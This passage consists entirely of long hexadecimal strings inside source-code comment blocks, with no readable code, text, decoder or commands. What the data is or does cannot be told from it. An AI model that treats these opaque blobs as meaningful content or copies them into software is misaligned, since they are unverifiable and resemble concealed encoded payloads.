1a715f8d829cbd70193c1d7ed7ca86fae4a73e812f39856237c65a2403ba833052a00eb102e03610ab825be73c6356125ff44bc2e7712d8d021d943deb6171cc5cb4d64b0cc5ad8706b4b9a7ba8df842aadc2ab5ae6640074cf2cd58cff35848467870d8fa0312f7f4cd0184ade7b768b4318034d0abe76eb16b6e1072cc07a7eb01121735d36c974a8c02e269e2448a7fa981691d6229b8a48c545e5715a32af92329575fe5fa9e4cf35fc635d568c388d9048daf4ed9410787ef60c4ae6085e51357cbdbd35ac72ae48c2a35af544663f69fceb1718a7b1fcf19cbd638770604c98e70b028cddc60a46c35a494c837531ceaa29ee45131b03b5027fd22ce2283606330d97e29474e9f067af3454edeac049e3673c34683f71e4b1b24c0fe9d5e6c82fdca4d15e082f4d0bccd92abf01aba0a653de04416a6468da9014dbbbd2f55f41c8b4b87c27610328ccadd41216260a1ff89ad7da42b095943a89cb1dbb7f678c620366a2de480e8f2ffe7c216a33571ca45fcdee1f9ef1d26f91448e0c23fce1d770bc26f6df38f11289dd8edf791b31e34803d83397acdb470d785d3033ef7964c1bd25ba8ab35ac09b32808534cb4cafc89e82ecc3738281a32bdc599fc5c5d728bc0f865832e03ebbafa69c4db74266374b939b6a5f4417c062dbd082cc3c48ed14bf4280087d6a8cd95ea666b08de84f62b1fc12b492448c9bdcd3953617cd0699d59edd343d7826f4d4ab6ddcdf873386927c05b842f547c601909a87beab7d6d2d2eb24b3a405b2e04490b140ac90fb1140e8ba867db1696f19f34b682650e9834c8cd96fe3048bf12ae9ce8a7541b3da115e96c5e6d8e5ab6151986677ccf3e1eff9f62673b77c2ef73e7e7482f4a61f13b8b315aaf743b8ec46ac7b7cc4098af065e6b983d8771c382dca89fb8b87110c78dd9d2356ccb003d9cc0998421e0a03899fc0538bc8b74df064e322ed2c633f420cc4d4ab39b2371d072638e7084a56ab734e8b9b8cc9e18aa6234026c7b370b0bc3c7349fdcf75726d218802fda0f1558c3d31897c22058fd75a77db10771d87d5fe6bc88d3e3a7468af16485dc7fe5766fca956238a5cfeb7ec486562dfcc3a14e3e8ba13396947a7c680eb6367b2dd4b7c6694180978e20b6748bd26dba0332ef231fa5fd7fea5a1d61710155f99c2cb71cbbecc319866a5446c4890a94bc8dba5b20eeca052313684bb8ba5555e83174e2726b745dcb6513fb598367739438fe7b02f514be2762fe0a043ff41f58cc3b9e24e298c51e8431e38fc57dd9b9e9a447e39b26706385a5bd*/
/*314468c16181a794285c6492ed7a85f4034a0eee3fbf84a484f937f191b66d9171af5fb8116ef314d492e9898d6b98e161127c1f7ca4ed61b3367a5edf9b52e9730d2aad61371f630883ef114aeeb4c58d75d2686133f44b3338d25e10fc3365826a2afdfb085faa57b8efa5b6229f8104b8f7997c4683b053c12b3ffc4513da516451df7cf812d1a8a7dde720b8c6ba7168e7a72736b8c147ee62a3fe5ee62a478f18de14e96ab0f191c2bd455f65287f9f30d622a9ba2c802d7c70d58210d3ef62be7ce8b2ce7cec88f13fff8d8fa0a17de5d5d76b50621a386af72ccdba2ffc7b2f296692ace8a18fb9746c88f5c84cfde7cee0854483c96efaa0e732bc7a7dd9a28bac589640377b1e060a8ec8c7edcaca00cba8498ca474ce650932edfc3af3623ebaa12dff386984d34802aadcc769f572d2e08b604618a6848007e3b7ae90b1caa977cf2613fd14c1828f5968a54b325d06534633fb44f9e8b5335702f017eba5f96df3188a156657ce507460a57ad0b2f6ecdbc40092a68a135d4bea109bfcf1ffe4c9b32017420edf233fe0ceb595fe685729a3458d681cbedd2d2b7446a5c768bee12e68d3ebefcc7ad5ca721c2b81546ef45772177025ed6ea19e42d4be787fe46a7586523783c8eb49194d18a3f22c68b3f8828c1f7691a4f69363619f43be9d2107795d333d20f3b15675b960eb09b848104f80bf12ef4b1f61248fc001108cc134705dd3f1f184fccc3599e1ea222a4239f7b5a7ad5c984ec2ab1591b274f9d2433f8daa90de69cb98d297aebf9f4b20c04a42ace2921ac1a9381d0b62f1ee031b35412e4ddcb63211ccc39a7de4c8f8591fbacd88ee61d0f39f28ff83363c391fb86d0d4f3a89858f06cedb08cd67b2c6123da9a9446b193c4ccf96a071e6d8161090482cc0b2c8f5fd76a0569c354499e3ba73cb7ab8932ab4b385a843d5dd4d287d55e620bff4a5f4abebb6e9cb9235fb514d1551068ba3a3e3ef4236020938264c7d0f6aefbfc6a59f32c85fb6646c22db137a9ad2b18b7865d25973514673d5d40278fecec7e446556de06726d6b659a9439cc100d5fb39003f10593f47e0e5d033f3bf2b9610fa3c8a1eb36d0a073361303b5ca1334a598cd431b0c187d562a800c3a3ad0d46dcc5b5f0a8cdf076a274a704e6a64d2aee8501b7e2c9c0f55b7a0eca4dc56bf238bc6ea376a8d67f515500449fae1f6a4f2ef4f7700a0f02d35c18aff5d0559b585c02fab2c3204d1b777e76e9e3bb261ed11999a85356938d8802ed28eba058b49077b2bde6a85ce306e84d3af807b01a8d302ae00754001be559222674a89aaf08084feaa90accf3b85591f7b592fdbf307f5f621e2080aa1886ba54d8809dbd0d2363b72ddcf2a8b8570b15046baa46c7a56cafbca22de9f651d5793c72441601e8f3b8a80134477b399879e059b7fff2f4e10ebf355408399c86318c638ef58ac8cf53aaba9f065ac142254c29ca3bcc34f6793ff2a534cc02df1f526b718156271f1f1d939c4f70a5ddd7168aabe6518d433da87c1bb548456e25050f15009bc39ead45c5ca592aebf5b08147e735b90aabac407cd3f90a63ed249cc43378a979c427bb944ae9d4aebfdfa1d70f98978bdb939cf8a93f84613b173d6cdf4081b0da25a1c01be87384fb2315240c71b1631381e02c52639abe053c29c7171380d9d0723b7e6f4aebe8f36b638008ca2c5fbde8bfefe5e3478329080d1bbf41620384ae0e6a676caa659013cfed25a729b828de16fc72719347f6f2d5f5cf3aff4c81b6328da868f4e2190b504ac358f942d2e915507b0df00f8caa1fa3bbb7e018c078c4194740a78d74969a80ca0b94a50f5f8bf3eb2541f8427b857463b133858d879744da29ad0ad923eea29d3b7ed9d184191010df94bb75cfd2ca95c27e54061b1b08c2424280abbb303c49a818596f7f1f1382c6bf8432c0f9f16bb8f3cc407751070f93813e316d182db0de7163039c7454b7e4631e13164458bffd82d6bdf50d4673bf190983dc2c9fa038e197fd861ab9ad3d56f9a40240150e41df36348a8f8a62138045b84de5b5ae6e2721ec15bfdd5820c91ea400c034859d98d7f2d8a7dfae2993e212f99087ded230135d1adb0ead4928efbae6f8a7cba1a92a0852a6f2717098aae8be0dda3cfc0f197954ea9bdb224eb516dabba8abb93a015525e6a3a4531a8c40c657f379f046d75499ffc255c6485041b90684d765acf558982427bca8bb4bcbe6bd07924cafdb3e6d65f37203b291f7056fb84bf70f996b72aec1303d4a31104325e1ab3e299ca4a23d515e9157c73ced8bbc275b87df0634e6d8e05b383f053640b6f0602fe1096c13c463447cfefe1258aee1358391148a3eecdb2bd966c06b46333c1d48abe467f1eb3d943eaec12227939cb53a3b8233aa8b56adf1b0435e70d3d88e1e4e38dbdd1fa7dc2d7be09b47beaae3d22c3504bf261025d95c80645b7ab2450f07aff860c5f77916da4f8d54723314b41711b0afad4bbcfe2e3e56257c1a8f218652fac72141e1a65f7a4e1c579b9239fd681b46515d97dd8f8bbf924e45d488a48df887b17f9b5e7b1cf79db2bcc6fb031afdaa6a1f286ddcd0164328d487d38fabbc23cb051ad7095a541101d5daff41056c1a3783b9a35bba8d6eb72565c7f21bc3c5e62631db13eb0e1ef27bd4c8352438ec3868a63a39e4010743e2b8ae9cf6e6f543115271ccb1b1b365096cc5bca887387aa0c12641d9a31c61a8b3cfea0af606a9a9eba8e1c90ad518fe66fffa6fcbc54ef8b2db844bccf411580a40573aa5eafb516abe5bacfc4fe474*/
/*5e0e4d08dafb7bcddca3f4c04f631177c81ae3f908ba0f92f513778d69a40106063fa7a455ebfb65db778d99de5a96f7bac00d80629d77f1759bd45a97eafe7829f67c529cc7c0121587b49736c88a77f0aac17cd9f75e7b9b9824e882fb26cf84c21787600f06128d15ebaa130b69f92514a5f476bfe9f8b9fc0e26efb341875c942ab2cfa9901690e3e53fa7ab766bef9cb65dc852bf2345c1022987b9b18f606c7b619b97739a7f66f394bd36436779b7c3440e1a859ff1452d8f21c96b1fbdefe56d3e50789579112803606bb0069d6f20946f3a830a4dbd816adec22d7fafe2b8443c6b42ee3bd62917a1faa3b1d4996b23ee628cc938043966e15e2a5a2de6c50c4a83198f8ee567a44cfe2d973eb402e055c407c6061be5ecd7eb884adbf1816d306b7ea245eb42f2dc04d256defad16782f6d2ddc2c6f5daaceb737dc0b5de225a4067654186d6ad46455b167e18ad0de4c56e59fd04edd4351f0d6e25dd9eaea06c75e56eeeb2cf668f57723b705bb0e41b8744daf9b3b8518f38a87007e1bdc38905be5d0d5441f825787f2f3c1b917bcf9757318c45d4451d2e741fca37740b2748dd8a41a5f07b51ecddc18d3c17031a1d8bf76639d239f2128c3ad36716401a48bfbf5da944319dcc8781d44598f088973afc40445e75706699b14ad7f2d7d3543cebb3999974667e76bb11c2018567e252f045e675606f18e44bcb94fbc195df3c631ea3a9b43ac3299f5d837ea4311f57533bd94e93135a65676c824b555eadd6c585feda7b6c10d665e3a4bd915acb163f8a6d73cba7bb48599840cd381ad5196e1b873a6b9430ad78bf125d538f853623ddedca6524d8aa51278891b61b2cf3eaede305892a349b72ec4bf87a530dbdd1189355f8f3fe53ba7c57fe27cd74dc84177fe8575efa1cc239c62528c9c79e7a8630ff51e06a1de72b5af4feb98e0757a7ac601e36c7544668d6e04f45ee1b03ef82f59ab7a962d1d6067dd9000e3e67272f5e744366d8b57acc3b35a4f430e414555cb81d78d996466d1462f8ec72b379b7c62ed8a3947d2ca018421c741665577205b488c15b01f4b0f2407e119187c3781c5acc005e6a6af392841abfb7e3c415ac338966e20c79a69a3494a930d4f355adc1811ee2f659fec91763a951ef2235e62a589aa96c9c2641efe6821b90c0986d861b6b444bea30febdbbb7d92b7e530a9c0fa37eb5de842dab3c33d5566246fe29a56b5ce61fbc380442c3f73ce903aa7085b26d4a75c9fe6bce0e690363dfc16b958243811989c7c86dbcf0d1dbfa0f2d0f803670ad47e9a154fed1a159c24407ffcc614b5e158b0b8480ae87a7ca6e21fae4d2e5ff166d29ed03df7df6c627aa750f47e2e9aaad6c08106f20ea2b4f964614110f6106d87aae7c2bf060321988ef1d7d12d0626d53ec83f97453fe11fc04ba7a60be21c2c55bb179f7e42edab4eee8b9d0c2caf3bd1a8761df6bfd1036c3ba1f16491378eecb51e4e9d4c2fc12ac9a538b0efa3d77f9f7bdb5a6e26705f8e427114cb34c1a62528836a0f75f6eb746f88840e4a059bd07129092ff97b8743d9055ae042e33bd88f6c0c98877b39ca070b8cf975afa6c4ffbf45e8499f50f8e9ad0bab28c3b5d1c4212a1802846e043524de7f4b6d681e4bef7c173b35a94c91d97ed30a97c0e017b9b71d22b5e74cae4860fd4bed02b57a07bdadbf27afcbe6e045437113ffb4e857470ade3a571de7b30fee1c1ee74758aa8d80994d62c36d8075f5adde8be15a6f69fe6481d3c0e59d96de8176559b824d982f8f39e0d85120bce1484e68dee75021b3418b3ab5e7788163952dabf5db79b540c97f0e6bc44203f37b67781365f3bc9848beab73254f479eb29c502260cf6e3d7537c4bac2c32ccd87061b4becf5a6f2c7b2c9cdd5cf1ccecddcff584ab8ecc1d4f4dc2a04a2f840608f89866d99f16218855fb4958f8deeab90dca5e1ed4b352ddb5ac475a2fde68ca021999ce4f8db2a3a61446922e5b2299c7f121f17515e9617431b17bb1cce0ab375c2f0260fd337ad997c39d21bcef69f706369a8fd44b3c5d2353cad6d74badc39a6a21f0dbfcfb03a82df9b697e521564cb26a9a678ee9004c86cf152cd6304f6cce27f0aba94abea5884db6132f822ab0484e11ded3071a4ec6006c254791fd29e740881b5c786a0de82716c8f37b9ff46fcd321209c78e59934f61336d338710de56b8c15d80768b0b644ea621fcdba41582ff3b60b5e14fb72ca3a857adc28dd1ccb8002f7ede89ee8f10b23452ce0861ff4374ae7bf2492622485d4a76689bb3045aefe4dfbae89b85344290b36d9b4d55217442ae2442118e0ab4adf3466b99e12102c4b34e79a4019c60be65aacbd669c72cb936988fadf2590e714b84da0070a9f7c536d3732a49053a246019fd2ca47a683ec6a63a4e734d3cfa3efcdbd2bb515f5be23a648b4bac27bf464dfd3f079c2851f2d32502613dd113118028c8c1ec6834f32bfbf98754bac95872a62c8ba7fee77630ad369a5756032604ab1ffffd5e5f4da7cda44c8c74b7bfa84e3f4e2cf22ec6de3f8265554eb0b37538d07b23a317285bf005298ae9776f4c542c76f23c1f6a1dc5aaa45dec8c5a4af25e02236f702020af3ecc1f639e3cd6d8d8a032f7c95e89c73caf04cb9a22e92a1c2dbfde9b01219dad60420d5ae1eb447c68e270f14c12458e4072e7205e567ec98ca7026eb31cafbe190ad89695d4ecb4206de6a07aa4ed71ef19adf868f94e74a03b8af911ae8bfda8be9448441bd96c842ed76fc769c7c5d9a1ad3df955db086c8666ec5154db7abf*/
/*15904898a19c76990902caa0f275738ff30f9d4f5c1723e81f3414f46034d1493d6a7c0f64b1ccbf4d6077bbd7040f28788f5aa9eacf41b0177420a51f79f9c432d14f47319f29d9b8f2f82320dd9758b91fe28f93777fd6bf104ebff236410ebfdc3cf63b21ba833f2bff30a7916f96e4455d7cb473a0d57a1104d7864c5b22afd1c6802f2b4061373a7b5328641328dfc06b06dff472df61ac32fb082b60886eedb97e5f85c2c99077c95365e5d19a842393f36e31f068ec646a737f109edd46a922b6dc7cc73e05002376f68bc045d7af402361f0a34052db9864c26cbb337ea57476512ff925fdc443ff72a6fa274bdf793efb81e8b9fd61195abf7f0d35c1e52a8202da282e03daa8913c7e021fa49c045d5d4d7e6004cd9e1071e6cdc5a7331024edc0c66451a7ba3747d996905f7fdb3b2101762e18d3921a60b5e916b1e2136a144fa576fb3a737c13b857ee0d8b5003279f352b202f6d84d485d60a4cadf3c81a3cb5b508b4ea1fe8cc16341f4734f89fae9d956a10397e001bd472db2921ee26dc3e08b48ede61591f69e586c12ec627e49f67be9cce636cf367333c3eecd0c07952dfdac22e04d1d197f536eb1b3540d0dfd7275cc9745a8a1e690fe913938fffcd21f67d83166fb243a406195fbae9b800bac9f6ec8d3554dae007154d8a6d0bbfc2327816570865f20f999b33514675ea00c4ef15f416dcd1dc5b36c4f26d358d5946a8b47c27ae49dba079645f86b7e0f4dfeccb9647b3a36392c097ec3df9a2f102b1eca0b736aeeedabc20e6be31dc5745ac522377396a4a3bae44c68bf723b166a34f94aba45942d52e2bcadd6840366bae2eea17506ad7822dcf0e1f1977eb7b52584e54e348cb16e83b50c5b9ffcdc7d83ffd1440e81c9a0ce7379a10ee1b355cf0be09a938e695194ef2a734577386798994e230eb0c15d1049ca3cd09601e61f13178afa8a1ebe7ac8b151e879dc2c2aa5804b027b514154ea147c9820181cd01eb04aba930555a89753ef3bac9d2477aaefc96f9d704a0ea89b5c1e4d6815ea74311ff6797a1dfe117caaf4c0ea9b3b353e76fd5a272cba91f7183cab697fbf0e523a4d3452f419f14b7c9288674222ef29f8c6b5d73a9f146e099ef1626b7f8cb045e063887fc5bd2ddb82e0b3d8005c7986aa203b1f4ffcc6b06ea3e6abffdbcc9ce77194a9d56f9dad93ab92b0ee5f2cd3f6aa1a624f1e808cca059dd97eb675f21d954c0b194c2cc8c422690d903df646ee412ad58868266deec40f6f78a1e08de0c6ead08f75115ed9e28671eb577bc842353d461ed2ed9f16fe1afd73435d31b761c6c41ae0cf03535fbaa45405154192de925f9ad3f91cbddf805ef03246ea5b2a8fe7a5bad392b7802482cf92cc8a7eb9249ba18b87e6c7707a2911f640b982cb8016ba0b76a782042e18c490a3772f47fdede641f57158846c08aaece68e80c35d53aa7dbce3a47154ab32a83fc7026594f30e7dc3f19f590c35f0c754baf957e9e7526a5dbcec7126297f36e8381973228db3ebfa7fd6677e98e3157433ca00fb4e19f460839493072b21f0b38991d622a8c5caefec4c3f7a2ed8036f5c7075b9d3b88e4dff628ae418ce20e80abbdf0858ac69fa93a735abecf0bda66b71d491bef69f007a2263a8d1ddbcea0135b9739096714e50b25e106d49930fd5eae8920f8cf63339d36a20470626558862b577257d80f89f064037fbb696f33f2bd4198753452577a0bbdac253be82b3c0103f4f0f3b3ceda968a7829aa8f7b6d180a7cd9c1f60d4673d6e3b38ee4e90d5921c9fcba455ea207e302d02b91ad771f393431ceca5b77b5838be412d147aae6091c8956c436006d29a06c98383b774ef1e202b1e83f764cfdb811915b9d80632694f722976668ee2865da519975d87d947495361235a71d6cde4458308381ff306b56b3b4c949e28b3f4107d753dfbbd29d0d857ee6a1d8c6f3bfefa45df197a9c4d0a8e1db675cf3bba4f3fe849ac7219014ffca6165b7ad009538c5e7fb0c0bbd36df2f4d3ff936ecd8389a5177bdd068b2626fff5a09188a89aaf7d421b5ed1f49d03b8168c489b7056dee2c40b4df5cc8ad0d22ef5974d96177b5408ce204451315368941894971850d3efa24fa98784042cf7d73b6a7b8a96680281cc99ee1d8ede9577bc28d13d4648349732eb8402dfded2d31f660e71fb3469598e20f98440a89dc5d6894c32b7638e6da35d4dd465de145ebe64303201fd17b122a9f91aaff2c8ac6ffd1cd7f7098fdfbf9ccdce48b48a09722c474e9130aae1d554cd1415169b4c1c5dce528cde86a40f730c0b4469e25f57fd9b3dbb9d43cea12942bdc752f93960698fae435b7743414bc20ece6e2452c18e5aa1e8f620088658874110f4715023af1ffb6c3207c504faf6a0dd1deda5589156536e947a554c6c7f75008876143ac17212017db11a76dcddc3ae34ba807e46bc0fac70f37ebcd212194cb28a4d20b55aad9ec0a10791ed91330f599887680c2559013a24f73802761d7cbb40e4a46e3b9285cd82bfb902dfadb1d22c88e24aafd218d18bfee72003a0608bdce2fd127f6d54f163c994fc2151e49c20c3da2c0d272fbc19ef4edb16e326b65469c82cc56ed6caf2013f2629e23d462161307655da44943a74ae81b3768b811c739589e49e03248b93f81a1aa5befa7f99c07ef4eaa27237225fc9e37fcd11f77c42ce4390fec356e2f0ab6aa4eecf2458b1f8b43c8265ec830b38417733fe96aca149956cf59a42435aa37a9b09fb10732fe9c5a9f2b902d9bd1d779352abe828e2fe253e4d610110ae441*/
/*2f91faf4927d91dd9ef7a71f62c974bfa2b45bdead2f89508c7d8fdbd676353508916b57ef6b6425be15be33d7024369f366c22049343cd9fdb61396f1282eb6867aa29f6e703a6c5b5296cd8a9066896ee2ba7a9c69586978478018ea43b80da4e59966bb60496b40366b4257457bb6a65b99504eb282218c6ade5214f7ae45e90fbeaedccd425401e36cca86e191b76a8a844e6b6463dab996808e4131bd49f2833d1eb949800e0b7bf9496240d3a9dab4aa9160118d2d713cab432c84c2fe3bbe1d58c909bc6974b11c80fd7a4a1d83ae16682c529ad5a8755d7f6173ea7e7035131b87d7ede49d1cb98a1895bd2cd5647f8d855b3622ad91db92501b58c68e293065a1b11ab3f70f56d4c020e20ead21582faf090d1fc26fece8b784d82dcec6c17d1a7263f0efd9b4a92a2fec32004a2b80fb0ee7162735e9f9e7162248510dc919243917445296fd9e781c767df179f1b9e41f9490fbf3221d84d57ac744687a13c1d4be9c4cca20d229b601325c99b7b713e795ea821840c5bf95b99c25de3b9bb4e4af6582211a26cc30f1f316af58a6d6c9bc5fa772370c83097aa3b672bef1a0a0714189ee065cacb9996ed2e61b76edced79caa3e5c16003ed8f9c481eed53d905a65fa696781aff81488797321af9b9e780acbd5ba3aaed00d05c0d8d2c32546424e98efa734e6603338893aca5879fdd2a5ea214983b527bf72075d7036886c27512c889b300859132f995b37ae53fbe5d5efbff218aeddf6d789ce10cb5945b4d2fcd5c42e1144b80e1207e919442b9eea6f0b94afea4295b7f2480f56b6abf1d6f6265319613f54352e76cb9ff3f6443871a8f80cdaf5f45a8b82247facf41111ebeb16c668695d0959333a0e459a2625381958a47989eb31dba266cb1946a1125465faf310f0cccd4f81b730ce1c43b4363671c1a4adc8decb9924d146942c2f89229215fc07f048a5c9869e6f0d5dca352491e6d69e8cde5c9a2a406f114bb5548a26553c853c5c9d111baba0acccf57ace88938663e2b9e1a317dcfc5d13c7e00e415853b726acef14e1a370b0c28ef08692da64b81e78c5df870e75dfff0ea4e95773679b16731db179072e4c156d620ddc625582a8a0db1e16a829e2f578cf8166bdff129163eb75cff2ec13290398ef426f3140dd48b1b877d2f932fcf2f59553aa1d46da0e2005ad2ea42b483ad7794f02243c364e813e951bed1c958bc20f0130ca89fd83983631504d1912bbfdcdc75ea22863754f5471e6b31e9560069bfcb9e01c3cd873d8411de4a9016de731cc2a2c258e8632731993c0c46d92a71047e72470ecac8218411e3c339d396735e6a8bd0dea39f7cb26067a6f2adfb33c140c10c2086d4d7c494179e6863a6d81b9625fa7ed07c8a122cee70a484bd6df4030a5abbf3ae93c95c0147984dce4eff127011b819086e45e0a471126cbc259d87f657ebc7a98df73d6da9a0128414a0fcc570c1e54a007efa227c44d18801c0401fc0efd8a01836bbac4cc9b69db0cb197a9e8fbbce27b427899ac28fd17aeeb51a3f33a7fa1a95baf508bbf466b88363efa0ad7d977538f67752add1f6ad734817a103c73c7ce6a5a594de421b2a8430ad864d1da95c342d77830b30e99247fb77b1efba2e7731e671fca0df71feb5cd0d9b878c704065613c6076e79cac3eca4d773020cd3f85168ebe842d3d94faab6a6db2c1398325de9fa511538ed0a44bd1481e78532d78bbf5b2e537dc945b96d71612fac4e02272d25e8e5f66432b10a967d0700e99580f6a87a5fc5fcb73936eb2e4ab44a2d887d73690d6f759258f8fe69b5a19667ab3222ddbfa0371ee2a8d638db9070a196f6bb0d9059f22a490ed58ba85c39b0586375709441278973898c2faee536c297496432935f406cb53f5e722fe0c15c7fd50c82ffe57df955d6d6ed36c4bca948b9abb5ac4ea03b67878b6560dc2f47d626312357f9c67fdf8e1e853abd432ad49ccdcaa4c4d2bab5150697d380d4a92c01f2ea8e73270473e30dfded6240c7787e2aa2d56a66461f75f75db71f0a63ca4f9ae01850668c93910e05d4fe82048590177f5ca016b684d7a863cca6a77df12556ab9808659f19fbf1920459c8328e3670616c71868a82893037dcf65f4bbdffbb6aa137bebd43206a4806458d5c86222fd63d90e3369d09555963285cd4809105eff6245e775672ede0d2b9f0082e8f687c6879f5069032f9eae7f86bd9ee617547a480cfc5ebf82579964ae407ed18d2f467c66a28905b24b02003fdab9b544a347d65a0f5bddd0fb433f356c1969bbc64ba5aba2789d15dbe7913a93fb853f12175e6c189910c0cf28a4e61e0c05f8e1da3868870373500f227cfcfd00fda7ad167b250901b3c91faaed7101d577522bdc40a329627ad4d68d1923de5e2c31355e0d9de9fce14ef6d980eab68e5decf98e023b57379efe82cc0af0c7e258c7532bec6b4cc539fa080cd2c565b6ac2b1f76b7e6491aec3407317b64e25440b24b9f5002109b762af9da327b509c405c3638a3cf791ff09414f07fb5470b4effbfd020f796c702d8b607afbc76839902ac8209f86900ceeeaeacfc77da52ec6511ef95113eab2eeb31e369679b06d8364ef1f4839b654907008b9fa6e82b9070dc2060b8d7937eed9f16af8b3d2260accb6a3b3a1cc864519d62ec143dbe888e85a23ca9f682a68d0d3d68c9918bd3112951f8189bc2f604910a1b713569a9f4040b62a6ab4a0ea50f6f0daed410ebf8bf4d94e57d0f206ab359521c6dadabccf9d227ebd0ae179b83d710fa611d8e8f07c613531f2b44dac3fa757*/
/*827f9cd561ae97c24f920ed9c080699f1393a2c3f0df9302f7ae091d7c613468fd2aa295883f1905d5c0a8951f5249a390aef800dffa68e4de8dbf12646b3161c8f535e89b10cf6d86985ea8cb9823bea6a23c3672a30bffa4d8a0c6c32b85584960c9df76ccccdb9daa2af7bbea13ae7533d704c54afc6aa42efe61bb6007591096a3f7bbbabb73120bc95ab4d6dd34398a884fc882728c02eb6643f0be08271a652806f558e4269d6f7110870f7cb7aa50bd19374055b69070563f542c917e2c28e94654530bd1c2c8cbba883fd1fd891602f89aa79d543ad618369bafb54cdaeab4c1fc5e3441255978a0b3649ba022e133c1f993527c668fb6829e9ccbba766cb6e61f49644e4b33def16d4c794567ba77a589ce577c84c239438776f547ac08e8391f37e966f5803fe83cfe1304eb8ffb944b68cc2cf88659cba9e843fb4c59796b3b777284b9243086fa7d3c5d69812b3120580572b2b4ddd30da69c84dbcf617c6eebe18e45f3f0e8a879f53fdafbafcad316c87f2fb640c3ee887bff2e97a90411377afe19347387f25d08ebd726b818ab961a5f0d6a6cf356d9d0663693f4895a659773dbcefbd960820d52fb81884fcbff3965c6d5ce6c840c91eaf957f7c17f859603f6cc71942734587c2fda49181294b5867de600d78aa2528e2d502dc7df8e39d91481e09abf7c23651ea4962fd414e58317c6c97cdacae6fac9e13092aa630af03a3937898144accf02bedaf3b6015bb0bda1cc57637ec7937aecba42c18ec77dbef3e337df5772cefc42a64e4dc3514d7ed97a17216000daca60385517255261b81b976ba435d981bfdee7e1e7f79b48b7525d9f3d4ccb63aa6e6b0ca501c9884501bd22ec9f20c960b0af15a15cf5e97d5cb6a4cdb020543c8ae45163d4ac8221798b43810b16a87e85729c8ea39fe9018550030386ba8a45129253984f0a05e2f93af13559a2e87972926d435188414a584bf4a510c3ce299e50a766c4eb56b13ed006678f5603aa8d989c8e54ab95b30c79ed14a1a817c31ab56391a2c6cdac8a96496d8eae8892a8ce8e45908e153419eef32c8bd3e576065cd7feb68f4d100737bd66a1457324063dc49272c0e44cf65b092079fbd8ada5010b13e182411c348079d9fec5be591a224be9f122c24aa7e976322193fd532180ca3a72d67a23db6c6936136153eb4d9623afdcff31c15282ad83ca3be269665b0785a2ae3e69c8fb9649c025f121fa55f4fc9c24a5c684a97060e7255a9994aecb96c2b49d379fcb7adcd25de50f6ab547e0eaa5d0067b1945236c56ea46b4962e30b83798ab87b2c27babcc1ca54a9363ce450129d5ac6cb9cc70b1f85cfdce0a9b4acf67e88a08574c53f2611e4da606ab776dc2e8c6a62808061b2f0d8803d3c6d934656c3e23e73fe1c0dad075732b21892225556b5f29b9ca7538ce54a9056c02e6798b384004071081577dc6bf8ae9fc85a55dde99fdc22e31f2d58f4fd4fbdcb069941fb93bc09f245ce870b022caf689807d810fae26a41f7e60dc32200a32f07f753a4baa99418f14520b4203e8f55d1fd40e0065ec63ec316d2cd6835adc412267481dd584cd95c6b61512221e7eed9308ce5dff115cd19e145a79f5bc6bcd19ace1e39e25a846eb63e4d9ca7e09a99b1fd774b1fd9c3f00ef374cfc25676bb07738d00417476a5e371959d9aae88e6c369b4d8bbd475bd7779c4de17d870fb10e2518acd4edc4bc9b6b230a07526a9540af2bb5ff5c319a1e2c26ec4ca91d10cb76a29e8141f2a0086c99b2a19cd13e1c81e0ebcf079d38629dc942557b2a1704d0c7860e0224d7391cd2b54d85d8a5f8e4de16907f380ece98f82bdaa013855e1db1162f9f803b2c8e9a5f799468d44f45224b3dec7177874450ff7cbef7394d000c1669a3dded789df7fc12a120197526f6f6b2cb9059a7dbc9d58c825e7acdab282051cad215884bc0f158487556eaf966e7cff4981230e66e65d3f70e5d589ac502ffbd38cfe0c137d0c6330df0c82006d671ffb5188237cf1cb72f65693bcc3222124a6ec9277cc94a5877c96bc95cb4e24c26b8f4af2195771124ea08845a59f5d85edc8996532fc52dfeea9263058c4807575267a2f3cfc96035ff86154a1e44ddbdebc82793dc542f2dd099540fdeef8f44a5792b00b4d700a388388713dd2e6870f657d59b4101161198386e1b07b5e929f7a9a8b5da50462ee9cec19edf09c566592bfd7825cbd3e620522567cea0050432b9906457d6b88b1138ac549dbd0fad621160e852c7e2a5234201dc1a9fb6469e44384a883fd6ad654309de12a968b87645adf9aa76ea22e1c98eba124b175f969813af6c76252d2bf5f54a97dac750a74049975faa754cb86cc1ccd230eb99329a34719a4bdb4839587c37f5a678b89eccd6f094fd004f8b1698c4c1aaf9cb65dad4d073a0db07201b888f2c54fa031319ea621cb4158b58abb10dfba6db071af8b7ccf276fce01038a9c64ffcd3ba4c5ee827be6b37e70e51f2ba80b212a1766e0eceaae798b79df1707a9b53fcdd0d39949d84131d48ff4de359f9c5584091332617bccd53724a367bd42f6b58db07d3634165f40b94c70301ff67e7b494985cbf3be0420ad305b9b0e20342c643dc02ab7867e6939c7923d5ab7084237e9db3e9a510ccde864eb7baa939a0430bd44c297f68c6eadac5beaea5a923ac6ed2cd288386a7445ad59e393166e99a7718dcd5ffdf845aec91364293f2fc69d8457db2bc91a4934ee7310079403482529f8766a1a5f5f4c3cf9a51bff292ab8aeb7ec511cc08a44fe87fb80f7d6acd54fe1c*/
/*6f63f90e5361562e2e058f062f99a582f3e441b80825ce77148b7b9ab66a02e81eaccd901568fd902f60e80f017e2b3345cd96d99142ba4eb912c7d6e925a942e820d08de18f9b50fcaf0e811ab56c76313c47fb6744082fc28a1c39ceda4f4e4c2143dcb9db9e7a120d871fdb3bce052a997cc708a8dbcf751385ea7dfb0bcace59ac3c639786aec826caf88a48888cdb283d2ce5ca5a03ddaafa9550c0515f3dd7f04760e558e461f91712385d14b4b2e74c691a8a3d4eaf9b43585ef01a0a93b246f5ffe0e7362b961ae370ecf3ce0846d3e00b29c929a916e2d023212273e4a5e682be3696524e54c0ba7f8680b4cb98b4ac3181cb384fbfa52aa8b2812d98dee20f00340b6aac613f14cb581352ee5b128c686012fb504bc7d22573531bc4669ce8c452ecc6c1f7f426eb0f0906663ee5c40e3380432146ea7b955b5b3163dba09645dec38869f94c618bfe5d8e0f71d298c7aaeab19f7f4ca05ae9c90257c83896aa2e77e5cf6afa7298ca2d374086f09c17a86966aaeff4c9ae39a560fc328fe964aba7c579d3f5f50c76cf705f1ea5a649b36147fd3657b00ec2faabd4711214bc0da18262a2605b8349536fc86af44732565f36408eb1a82b5d42a85c58867ae437d66609a2ab610e44e880dc999561b5b2c599e87a62374da9d46e8f0b3d0c33c32bcb17489afa005121b642bb30d992e7ab8ff095f9ac61f43c591f4b1e9d0be76bbf6ae090031cfba7c26837a3945104f984422e9fba3272b848f55596d0d1451426ef24cac6be8ba53bde9df16dc73287a7072a725e9e53aa44a240a982b